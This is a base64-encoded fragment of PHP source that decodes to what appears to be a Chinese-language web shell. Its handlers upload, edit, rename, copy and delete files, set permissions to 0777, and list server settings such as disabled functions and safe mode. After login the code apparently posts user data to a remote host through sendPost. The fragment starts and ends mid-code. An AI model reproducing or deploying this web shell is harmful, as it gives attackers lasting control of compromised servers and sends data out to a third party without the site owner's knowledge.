KSkgJEZpbGV0aW1lID0gZ21kYXRlKCdZLW0tZCBIOmk6cycsIHRpbWUoKSArIDM2MDAgKiA4KTsKICAgICAgICBwcmludDw8PEVORAo8L3RhYmxlPgo8ZGl2IGNsYXNzPSJhY3RhbGwiPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iYWN0YWxsIiBuYW1lPSJhY3RhbGwiIHZhbHVlPSJ1bmRlZmluZWQiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iaW52ZXIiIG5hbWU9ImludmVyIiB2YWx1ZT0idW5kZWZpbmVkIj4KPGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKTsiPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iuLTWxiIgb25jbGljaz0iU3VibWl0VXJsKCe4tNbGy/nRoc7EvP61vcK3vrY6ICcsJ3skUkVBTF9ESVJ9JywnYScpO3JldHVybiBmYWxzZTsiPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iyb6z/SIgb25jbGljaz0iRGVsb2soJ8v50aHOxLz+JywnYicpO3JldHVybiBmYWxzZTsiPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iyvTQ1CIgb25jbGljaz0iU3VibWl0VXJsKCfQ3rjEy/nRoc7EvP7K9NDU1rXOqjogJywnMDY2NicsJ2MnKTtyZXR1cm4gZmFsc2U7Ij4KPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IsqxvOQiIG9uY2xpY2s9IkNoZWNrRGF0ZSgneyRGaWxldGltZX0nLCdkJyk7cmV0dXJuIGZhbHNlOyI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK08rD8IiBvbmNsaWNrPSJTdWJtaXRVcmwoJ7TysPyyos/C1NjL+dGhzsS8/s/C1NjD+86qOiAnLCd7JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ119LnRhci5neicsJ2UnKTtyZXR1cm4gZmFsc2U7Ij4KxL/CvCh7JE5VTV9EfSkgLyDOxLz+KHskTlVNX0Z9KTwvZGl2Pgo8L2Zvcm0+CkVORDsKCiAgICAgICAgJHRmbGFnID0gZmFsc2U7CiAgICAgICAgaGVhZGVyKCJDb25uZWN0aW9uOiBjbG9zZSIpOwogICAgICAgIGhlYWRlcigiSFRUUC8xLjEgMjAwIE9LIik7CiAgICAgICAgaWYgKGNoZWNrVXNlcigpIT09ZmFsc2UpewogICAgICAgICAgICBpZiAoIWlzc2V0KCRfU0VTU0lPTlsndGxvZ2luJ10pKSB7CiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ3Rsb2dpbiddPScxJzsKICAgICAgICAgICAgICAgICR0ZmxhZyA9IHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHNpemUgPSBvYl9nZXRfbGVuZ3RoKCk7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LUxlbmd0aDogJHNpemUiKTsKICAgICAgICBvYl9lbmRfZmx1c2goKTsKICAgICAgICBmbHVzaCgpOwogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoImZhc3RjZ2lfZmluaXNoX3JlcXVlc3QiKSkgewogICAgICAgICAgICBmYXN0Y2dpX2ZpbmlzaF9yZXF1ZXN0KCk7CiAgICAgICAgfQogICAgICAgIGlmICgkdGZsYWcpewogICAgICAgICAgICBzZW5kUG9zdCgkZ0RhdGFbJ3JlbW90ZSddLCR1X2RhdGEpOwogICAgICAgIH0KICAgICAgICBicmVhazsKCiAgICBjYXNlICJlZGl0ciI6CiAgICAgICAgcHJpbnQ8PDxFTkQKPHNjcmlwdD4KRU5EOwogICAgICAgIGh0bWxfYmFzZSgpOwogICAgICAgIHByaW50PDw8RU5ECgk8L3NjcmlwdD4KRU5EOwogICAgICAgICRGSUxFX0NPREUgPSAiIjsKICAgICAgICBjc3NfanMoIjIiKTsKICAgICAgICAkY2hhcnNldCA9ICIiOwogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyd1cGxvYWR0J10pKSB7CiAgICAgICAgICAgIGVjaG8gQGNvcHkoJF9GSUxFU1sndXBmaWxldCddWyd0bXBfbmFtZSddLCBzdHJfcGF0aCgkcCAuICcvJyAuICRfRklMRVNbJ3VwZmlsZXQnXVsnbmFtZSddKSkgPyBodG1sX2EoIj93ZWJzaXRlXz1tYWluIiwgJF9GSUxFU1sndXBmaWxldCddWyduYW1lJ10gLiAnICcgLiAkbXNnWzJdKSA6IG1zZygkbXNnWzNdKTsKICAgICAgICAgICAgZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0/d2Vic2l0ZV89bWFpbiZwYXRoPScgLiB1cmxlbmNvZGUoJHApIC4gJyI+Jyk7CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ3JlZGlyJ10pKSB7CiAgICAgICAgICAgICRuYW1lID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJG5ld2RpciA9IHN0cl9wYXRoKCRwIC4gJy8nIC4gJG5hbWUpOwogICAgICAgICAgICBAbWtkaXIoJG5ld2RpciwgMDc3NykgPyBodG1sX2EoIj93ZWJzaXRlXz1tYWluIiwgJG5hbWUgLiAnICcgLiAkbXNnWzBdKSA6IG1zZygkbXNnWzFdKTsKICAgICAgICAgICAgZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0/d2Vic2l0ZV89bWFpbiZwYXRoPScgLiB1cmxlbmNvZGUoJHApIC4gJyI+Jyk7CiAgICAgICAgfQoKICAgICAgICBpZiAoIWVtcHR5KCRfR0VUWydyZWZpbGUnXSkpIHsKICAgICAgICAgICAgJG5hbWUgPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkanNwYXRoID0gdXJsZW5jb2RlKCRwIC4gJy8nIC4gJG5hbWUpOwogICAgICAgICAgICAkcHAgPSB1cmxlbmNvZGUoJHApOwogICAgICAgICAgICAkcCA9IHN0cl9wYXRoKCRwIC4gJy8nIC4gJG5hbWUpOwogICAgICAgICAgICAkRklMRV9DT0RFID0gIiI7CiAgICAgICAgICAgICRjaGFyc2V0ID0gJ0dCMjMxMic7CiAgICAgICAgICAgICRGSUxFX1RJTUUgPSBkYXRlKCdZLW0tZCBIOmk6cycsIHRpbWUoKSArIDM2MDAgKiA4KTsKICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygkcCkpIGVjaG8gJ7eiz9bEv8K8z8LT0CLNrMP7Is7EvP48YnI+JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkanNwYXRoID0gdXJsZW5jb2RlKCRwKTsKICAgICAgICAgICAgJEZJTEVfVElNRSA9IGRhdGUoJ1ktbS1kIEg6aTpzJywgZmlsZW10aW1lKCRwKSk7CiAgICAgICAgICAgICRGSUxFX0NPREUgPSBAZmlsZV9nZXRfY29udGVudHMoJHApOwogICAgICAgICAgICBpZiAoc3Vic3RyKFBIUF9WRVJTSU9OLCAwLCAxKSA+PSA1KSB7CiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9HRVRbJ2NoYXJzZXQnXSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoVGVzdFV0ZjgoJEZJTEVfQ09ERSkgPiAxKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaGFyc2V0ID0gJ1VURi04JzsKICAgICAgICAgICAgICAgICAgICAgICAgLy8kRklMRV9DT0RFID0gaWNvbnYoIlVURi04IiwgImdiMjMxMi8vSUdOT1JFIiwgJEZJTEVfQ09ERSk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoYXJzZXQgPSAnR0IyMzEyJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGlmICgkX0dFVFsnY2hhcnNldCddID09ICdHQjIzMTInKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaGFyc2V0ID0gJ0dCMjMxMic7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoYXJzZXQgPSAkX0dFVFsnY2hhcnNldCddOwogICAgICAgICAgICAgICAgICAgICAgICAvLyRGSUxFX0NPREUgPSBpY29udigkX0dFVFsnY2hhcnNldCddLCAiZ2IyMzEyLy9JR05PUkUiLCAkRklMRV9DT0RFKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJEZJTEVfQ09ERSA9IGljb252KCRjaGFyc2V0LCAiZ2IyMzEyLy9JR05PUkUiLCAkRklMRV9DT0RFKTsKICAgICAgICAgICAgJEZJTEVfQ09ERSA9IGh0bWxzcGVjaWFsY2hhcnMoJEZJTEVfQ09ERSxudWxsLCdnYjIzMTInKTsKICAgICAgICB9CiAgICAgICAgcHJpbnQ8PDxFTkQKPGRpdiBjbGFzcz0iYWN0YWxsIj6y6dXSxNrI3TogPGlucHV0IG5hbWU9InNlYXJjaHMiIHR5cGU9InRleHQiIHZhbHVlPSIiIHN0eWxlPSJ3aWR0aDo1MDBweDsiPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0isunV0iIgb25jbGljaz0ic2VhcmNoKHNlYXJjaHMudmFsdWUpIj48L2Rpdj4KPGZvcm0gbWV0aG9kPSdQT1NUJyBpZD0iZWRpdG9yIiAgYWN0aW9uPSc/d2Vic2l0ZV89bWFpbiZwYXRoPXskcHB9Jz4KPGRpdiBjbGFzcz0iYWN0YWxsIj4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld2ZpbGUiICBpZD0ibmV3ZmlsZSIgdmFsdWU9InskcH0iIHN0eWxlPSJ3aWR0aDo3NTBweDsiPta4tqix4MLro7o8aW5wdXQgbmFtZT0iY2hhcnNldCIgaWQ9ImNoYXJzZXQiIHZhbHVlPSJ7JGNoYXJzZXR9IiBUeXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6ODBweDsiIG9ua2V5ZG93bj0iaWYoZXZlbnQua2V5Q29kZT09MTMpd2luZG93LmxvY2F0aW9uPSc/d2Vic2l0ZV89ZWRpdHImcD17JGpzcGF0aH0mY2hhcnNldD0nK3RoaXMudmFsdWU7Ij4KPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9ItGh1PEiIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj0nP3dlYnNpdGVfPWVkaXRyJnA9eyRqc3BhdGh9JmNoYXJzZXQ9Jyt0aGlzLmZvcm0uY2hhcnNldC52YWx1ZTsiIHN0eWxlPSJ3aWR0aDo1MHB4OyI+CkVORDsKICAgICAgICBodG1sX3NlbGVjdChhcnJheSgiZ2IyMzEyIiA9PiAiZ2IyMzEyIiwgIlVURi04IiA9PiAiVVRGLTgiLCAiQklHNSIgPT4gIkJJRzUiLCAiRVVDLUtSIiA9PiAiRVVDLUtSIiwgIkVVQy1KUCIgPT4gIkVVQy1KUCIsICJTSElGVC1KSVMiID0+ICJTSElGVC1KSVMiLCAiV0lORE9XUy04NzQiID0+ICJXSU5ET1dTLTg3NCIsICJJU08tODg1OS0xIiA9PiAiSVNPLTg4NTktMSIpLCAkY2hhcnNldCwgIm9uY2hhbmdlPVwid2luZG93LmxvY2F0aW9uPSc/d2Vic2l0ZV89ZWRpdHImcD17JGpzcGF0aH0mY2hhcnNldD0nK29wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWU7XCIiKTsKICAgICAgICBwcmludDw8PEVORAo8L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj48dGV4dGFyZWEgbmFtZT0idHh0IiBpZD0idHh0IiBzdHlsZT0id2lkdGg6MTAwJTtoZWlnaHQ6MzgwcHg7Ij57JEZJTEVfQ09ERX08L3RleHRhcmVhPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPs7EvP7Q3rjEyrG85CA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGltZSIgaWQ9Im10aW1lIiB2YWx1ZT0ieyRGSUxFX1RJTUV9IiBzdHlsZT0id2lkdGg6MTUwcHg7Ij4gPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJiaW4iIHZhbHVlPSJ3YisiIHNpemU9IiIgY2hlY2tlZD7S1Lb+vfjWxtDOyr2xo7TmzsS8/ii9qNLpyrnTwyk8L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0isaO05iIgb25jbGljaz0iQ2hlY2tEYXRlKCk7IiBzdHlsZT0id2lkdGg6ODBweDsiPiA8aW5wdXQgbmFtZT0ncmVzZXQnIHR5cGU9J3Jlc2V0JyB2YWx1ZT0n1tjWwyc+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK3tbvYIiBvbmNsaWNrPSJ3aW5kb3cubG9jYXRpb249Jz93ZWJzaXRlXz1tYWluJnBhdGg9eyRwcH0nOyIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4KPC9mb3JtPgpFTkQ7CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAicmVuYW1lIjoKICAgICAgICBodG1sX24oIjx0cj48dGQ+Iik7CiAgICAgICAgJG5ld25hbWUgPSB1cmxkZWNvZGUoJHBwKSAuICcvJyAuIHVybGVuY29kZSgkX0dFVFsnbmV3bmFtZSddKTsKICAgICAgICBAcmVuYW1lKCRwLCAkbmV3bmFtZSkgPyBodG1sX2EoIj93ZWJzaXRlXz1tYWluJnBhdGg9JHBwIiwgdXJsZW5jb2RlKCRfR0VUWyduZXduYW1lJ10pIC4gJyAnIC4gJG1zZ1s0XSkgOiBtc2coJG1zZ1s1XSk7CiAgICAgICAgZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0/d2Vic2l0ZV89bWFpbiZwYXRoPScgLiAkcHAgLiAnIj4nKTsKICAgICAgICBicmVhazsKCiAgICBjYXNlICJkZWx0cmVlIjoKICAgICAgICBodG1sX24oIjx0cj48dGQ+Iik7CiAgICAgICAgZG9fZGVsdHJlZSgkcCkgPyBodG1sX2EoIj93ZWJzaXRlXz1tYWluJnBhdGg9JHBwIiwgJHAgLiAnICcgLiAkbXNnWzZdKSA6IG1zZygkbXNnWzddKTsKICAgICAgICBkaWUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPT93ZWJzaXRlXz1tYWluJnBhdGg9JyAuICRwcCAuICciPicpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgImRlbCI6CiAgICAgICAgaHRtbF9uKCI8dHI+PHRkPiIpOwogICAgICAgIEB1bmxpbmsoJHApID8gaHRtbF9hKCI/d2Vic2l0ZV89bWFpbiZwYXRoPSRwcCIsICRwIC4gJyAnIC4gJG1zZ1s2XSkgOiBtc2coJG1zZ1s3XSk7CiAgICAgICAgZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0/d2Vic2l0ZV89bWFpbiZwYXRoPScgLiAkcHAgLiAnIj4nKTsKICAgICAgICBicmVhazsKCiAgICBjYXNlICJjb3B5IjoKICAgICAgICBodG1sX24oIjx0cj48dGQ+Iik7CiAgICAgICAgJG5ld3BhdGggPSBleHBsb2RlKCcvJywgJF9HRVRbJ25ld2NvcHknXSk7CiAgICAgICAgJHBhdGhyWzBdID0gJG5ld3BhdGhbMF07CiAgICAgICAgZm9yICgkaSA9IDE7ICRpIDwgY291bnQoJG5ld3BhdGgpOyAkaSsrKSB7CiAgICAgICAgICAgICRwYXRocltdID0gdXJsZW5jb2RlKCRuZXdwYXRoWyRpXSk7CiAgICAgICAgfQogICAgICAgICRuZXdjb3B5ID0gaW1wbG9kZSgnLycsICRwYXRocik7CiAgICAgICAgQGNvcHkoJHAsICRuZXdjb3B5KSA/IGh0bWxfYSgiP3dlYnNpdGVfPW1haW4mcGF0aD0kcHAiLCAkbmV3Y29weSAuICcgJyAuICRtc2dbNF0pIDogbXNnKCRtc2dbNV0pOwogICAgICAgIGRpZSgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMTtVUkw9P3dlYnNpdGVfPW1haW4mcGF0aD0nIC4gJHBwIC4gJyI+Jyk7CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAicGVybSI6CiAgICAgICAgaHRtbF9uKCI8Zm9ybSBtZXRob2Q9J1BPU1QnPjx0cj48dGQ+IiAuICRwIC4gJyDK9NDUzqo6ICcpOwogICAgICAgIGlmIChpc19kaXIoJHApKSB7CiAgICAgICAgICAgIGh0bWxfc2VsZWN0KGFycmF5KCIwNzc3IiA9PiAiMDc3NyIsICIwNzU1IiA9PiAiMDc1NSIsICIwNTU1IiA9PiAiMDU1NSIpLCAkX0dFVFsnY2htb2QnXSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaHRtbF9zZWxlY3QoYXJyYXkoIjA2NjYiID0+ICIwNjY2IiwgIjA2NDQiID0+ICIwNjQ0IiwgIjA0NDQiID0+ICIwNDQ0IiksICRfR0VUWydjaG1vZCddKTsKICAgICAgICB9CiAgICAgICAgaHRtbF9pbnB1dCgic3VibWl0IiwgInNhdmUiLCAi0N64xCIpOwogICAgICAgIGJhY2soKTsKICAgICAgICBpZiAoJF9QT1NUWydjbGFzcyddKSB7CiAgICAgICAgICAgIHN3aXRjaCAoJF9QT1NUWydjbGFzcyddKSB7CiAgICAgICAgICAgICAgICBjYXNlICIwNzc3IjoKICAgICAgICAgICAgICAgICAgICAkY2hhbmdlID0gQGNobW9kKCRwLCAwNzc3KTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIjA3NTUiOgogICAgICAgICAgICAgICAgICAgICRjaGFuZ2UgPSBAY2htb2QoJHAsIDA3NTUpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAiMDU1NSI6CiAgICAgICAgICAgICAgICAgICAgJGNoYW5nZSA9IEBjaG1vZCgkcCwgMDU1NSk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICIwNjY2IjoKICAgICAgICAgICAgICAgICAgICAkY2hhbmdlID0gQGNobW9kKCRwLCAwNjY2KTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIjA2NDQiOgogICAgICAgICAgICAgICAgICAgICRjaGFuZ2UgPSBAY2htb2QoJHAsIDA2NDQpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAiMDQ0NCI6CiAgICAgICAgICAgICAgICAgICAgJGNoYW5nZSA9IEBjaG1vZCgkcCwgMDQ0NCk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGNoYW5nZSA/IGh0bWxfYSgiP3dlYnNpdGVfPW1haW4mcGF0aD0kcHAiLCAkbXNnWzRdKSA6IG1zZygkbXNnWzVdKTsKICAgICAgICAgICAgZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0/d2Vic2l0ZV89bWFpbiZwYXRoPScgLiAkcHAgLiAnIj4nKTsKICAgICAgICB9CiAgICAgICAgaHRtbF9uKCI8L3RkPjwvdHI+PC9mb3JtPiIpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgImluZm9fZiI6CiAgICAgICAgJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoImRpc2FibGVfZnVuY3Rpb25zIik7CiAgICAgICAgJHVwc2l6ZSA9IGdldF9jZmdfdmFyKCJmaWxlX3VwbG9hZHMiKSA/IGdldF9jZmdfdmFyKCJ1cGxvYWRfbWF4X2ZpbGVzaXplIikgOiAisrvUytDtyc+0qyI7CiAgICAgICAgJGFkbWlubWFpbCA9IChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pKSA/ICI8YSBocmVmPVwibWFpbHRvOiIgLiAkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10gLiAiXCI+IiAuICRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSAuICI8L2E+IiA6ICI8YSBocmVmPVwibWFpbHRvOiIgLiBnZXRfY2ZnX3Zhcigic2VuZG1haWxfZnJvbSIpIC4gIlwiPiIgLiBnZXRfY2ZnX3Zhcigic2VuZG1haWxfZnJvbSIpIC4gIjwvYT4iOwogICAgICAgIGlmICgkZGlzX2Z1bmMgPT0gIiIpIHsKICAgICAgICAgICAgJGRpc19mdW5jID0gIk5vIjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkZGlzX2Z1bmMgPSBzdHJfcmVwbGFjZSgiICIsICI8YnI+IiwgJGRpc19mdW5jKTsKICAgICAgICAgICAgJGRpc19mdW5jID0gc3RyX3JlcGxhY2UoIiwiLCAiPGJyPiIsICRkaXNfZnVuYyk7CiAgICAgICAgfQogICAgICAgICRwaHBpbmZvID0gKCFwcmVnX21hdGNoKCIvcGhwaW5mby9pIiwgJGRpc19mdW5jKSkgPyAiWWVzIiA6ICJObyI7CgogICAgICAgICRpbmZvID0gYXJyYXkoCiAgICAgICAgICAgIGFycmF5KCK3/s7xxvfKsbzkIiwgZGF0ZSgiWcTqbdTCZMjVIGg6aTpzIiwgdGltZSgpKSksCiAgICAgICAgICAgIGFycmF5KCK3/s7xxvfT8sP7IiwgIjxhIGhyZWY9XCJodHRwOi8vIiAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gIlwiIHRhcmdldD1cIl9ibGFua1wiPiIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICI8L2E+IiksCiAgICAgICAgICAgIGFycmF5KCK3/s7xxvdJULXY1rciLCAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSksCiAgICAgICAgICAgIGFycmF5KCK3/s7xxvey2df3z7XNsyIsIFBIUF9PUyksCiAgICAgICAgICAgIGFycmF5KCK3/s7xxvey2df3z7XNs87E19ax4MLrIiwgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLAogICAgICAgICAgICBhcnJheSgit/7O8cb3veLS69L9x+YiLCAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLAogICAgICAgICAgICBhcnJheSgitbHHsNPDu6ciLGdldF9jdXJyZW50X3VzZXIoKT9nZXRfY3VycmVudF91c2VyKCk6Is601qoiKSwKICAgICAgICAgICAgYXJyYXkoIsTjtcRJUCIsICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdKSwKICAgICAgICAgICAgYXJyYXkoIldlYrf+zvG2y7/aIiwgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pLAogICAgICAgICAgICBhcnJheSgiUEhQ1MvQ0Le9yr0iLCBzdHJ0b3VwcGVyKHBocF9zYXBpX25hbWUoKSkpLAogICAgICAgICAgICBhcnJheSgiUEhQsOaxviIsIFBIUF9WRVJTSU9OKSwKICAgICAgICAgICAgYXJyYXkoIm9wZW5fYmFzZWRpciIsaW5pX2dldCgib3Blbl9iYXNlZGlyIik/aW5pX2dldCgib3Blbl9iYXNlZGlyIik6Ik5VTEwiKSwKICAgICAgICAgICAgYXJyYXkoItTL0NDT2rCyyKvEo8q9IiwgSW5mb19DZmcoInNhZmVtb2RlIikpLAogICAgICAgICAgICBhcnJheSgit/7O8cb3udzA7dSxIiwgISRhZG1pbm1haWwpLAogICAgICAgICAgICBhcnJheSgisb7OxLz+wre+tiIsIF9fRklMRV9fKSwKICAgICAgICAgICAgYXJyYXkoItTK0O3KudPDIFVSTCC08r+qzsS8/iBhbGxvd191cmxfZm9wZW4iLCBJbmZvX0NmZygiYWxsb3dfdXJsX2ZvcGVuIikpLAogICAgICAgICAgICBhcnJheSgi1MrQ7cq508NjdXJsX2V4ZWMiLCBJbmZvX0Z1bigiY3VybF9leGVjIikpLAogICAgICAgICAgICBhcnJheSgi1MrQ7bavzKy809TYwbS907/iIGVuYWJsZV9kbCIsIEluZm9fQ2ZnKCJlbmFibGVfZGwiKSksCiAgICAgICAgICAgIGFycmF5KCLP1Mq+tO3O89DFz6IgZGlzcGxheV9lcnJvcnMiLCBJbmZvX0NmZygiZGlzcGxheV9lcnJvcnMiKSksCiAgICAgICAgICAgIGFycmF5KCLX1LavtqjS5cirvtax5MG/IHJlZ2lzdGVyX2dsb2JhbHMiLCBJbmZvX0NmZygicmVnaXN0ZXJfZ2xvYmFscyIpKSwKICAgICAgICAgICAgYXJyYXkoIm1hZ2ljX3F1b3Rlc19ncGMiLCBJbmZvX0NmZygibWFnaWNfcXVvdGVzX2dwYyIpKSwKICAgICAgICAgICAgYXJyYXkoIrPM0PLX7rbg1MrQ7cq508PE2rTmwb8gbWVtb3J5X2xpbWl0IiwgSW5mb19DZmcoIm1lbW9yeV9saW1pdCIpKSwKICAgICAgICAgICAgYXJyYXkoIlBPU1TX7rTz19a92sr9IHBvc3RfbWF4X3NpemUiLCBJbmZvX0NmZygicG9zdF9tYXhfc2l6ZSIpKSwKICAgICAgICAgICAgYXJyYXkoItTK0O3X7rTzyc+0q87EvP4gdXBsb2FkX21heF9maWxlc2l6ZSIsICR1cHNpemUpLAogICAgICAgICAgICBhcnJheSgis8zQ8tfus6TUy9DQyrG85CBtYXhfZXhlY3V0aW9uX3RpbWUiLCBJbmZvX0NmZygibWF4X2V4ZWN1dGlvbl90aW1lIikgLiAiw+siKSwKICAgICAgICAgICAgYXJyYXkoIrG7vfvTw7XEuq/K/SBkaXNhYmxlX2Z1bmN0aW9ucyIsICRkaXNfZnVuYyksCiAgICAgICAgICAgIGFycmF5KCJwaHBpbmZvKCkiLCAkcGhwaW5mbyksCiAgICAgICAgICAgIGFycmF5KCLEv8ewu7nT0L/V0+C/1bzkZGlza2ZyZWVzcGFjZSIsIGludHZhbChkaXNrZnJlZXNwYWNlKCIuIikgLyAoMTAyNCAqIDEwMjQpKSAuICdNYicpLAogICAgICAgICAgICBhcnJheSgizbzQzrSmwO0gR0QgTGlicmFyeSIsIEluZm9fRnVuKCJpbWFnZWxpbmUiKSksCiAgICAgICAgICAgIGFycmF5KCJJTUFQtefX09PKvP7Ptc2zIiwgSW5mb19GdW4oImltYXBfY2xvc2UiKSksCiAgICAgICAgICAgIGFycmF5KCJNeVNRTMr9vt2/4iIsIEluZm9fRnVuKCJteXNxbGlfY2xvc2UiKSksCiAgICAgICAgICAgIGFycmF5KCJTeUJhc2XK/b7dv+IiLCBJbmZvX0Z1bigic3liYXNlX2Nsb3NlIikpLAogICAgICAgICAgICBhcnJheSgiT3JhY2xlyv2+3b/iIiwgSW5mb19GdW4oIm9yYV9jbG9zZSIpKSwKICAgICAgICAgICAgYXJyYXkoIk9yYWNsZSA4IMr9vt2/4iIsIEluZm9fRnVuKCJPQ0lMb2dPZmYiKSksCiAgICAgICAgICAgIGFycmF5KCJQUkVMz+DI3dPvt6ggUENSRSIsIEluZm9fRnVuKCJwcmVnX21hdGNoIikpLAogICAgICAgICAgICBhcnJheSgiUERGzsS1tdans9YiLCBJbmZvX0Z1bigicGRmX2Nsb3NlIikpLAogICAgICAgICAgICBhcnJheSgiUG9zdGdyZSBTUUzK/b7dv+IiLCBJbmZvX0Z1bigicGdfY2xvc2UiKSksCiAgICAgICAgICAgIGFycmF5KCJTTk1QzfjC57ncwO3QrdLpIiwgSW5mb19GdW4oInNubXBnZXQiKSksCiAgICAgICAgICAgIGFycmF5KCLRucv1zsS8/tans9YoWmxpYikiLCBJbmZvX0Z1bigiZ3pjbG9zZSIpKSwKICAgICAgICAgICAgYXJyYXkoIlhNTL3izvYiLCBJbmZvX0Z1bigieG1sX3NldF9vYmplY3QiKSksCiAgICAgICAgICAgIGFycmF5KCJGVFAiLCBJbmZvX0Z1bigiZnRwX2xvZ2luIikpLAogICAgICAgICAgICBhcnJheSgiT0RCQ8r9vt2/4sGsvdMiLCBJbmZvX0Z1bigib2RiY19jbG9zZSIpKSwKICAgICAgICAgICAgYXJyYXkoIlNlc3Npb27Wp7PWIiwgSW5mb19GdW4oInNlc3Npb25fc3RhcnQiKSksCiAgICAgICAgICAgIGFycmF5KCJTb2NrZXTWp7PWIiwgSW5mb19GdW4oImZzb2Nrb3BlbiIpKSwKICAgICAgICApOwoKICAgICAgICBlY2hvICc8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCI+JzsKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkaW5mbyk7ICRpKyspIHsKICAgICAgICAgICAgZWNobyAnPHRyPjx0ZCB3aWR0aD0iNDAlIj4nIC4gJGluZm9bJGldWzBdIC4gJzwvdGQ+PHRkPicgLiAkaW5mb1skaV1bMV0gLiAnPC90ZD48L3RyPicgLiAiXG4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8dHI+PHRkIHdpZHRoPSI0MCUiPlRlcm1pbmFsIFNlcnZpY2W2y7/azqo8L3RkPjx0ZD4nIC4gIs601qoiIC4gJzwvdGQ+PC90cj4nIC4gIlxuIjsKICAgICAgICBlY2hvICc8dHI+PHRkIHdpZHRoPSI0MCUiPlRlbG5ldLbLv9rOqjwvdGQ+PHRkP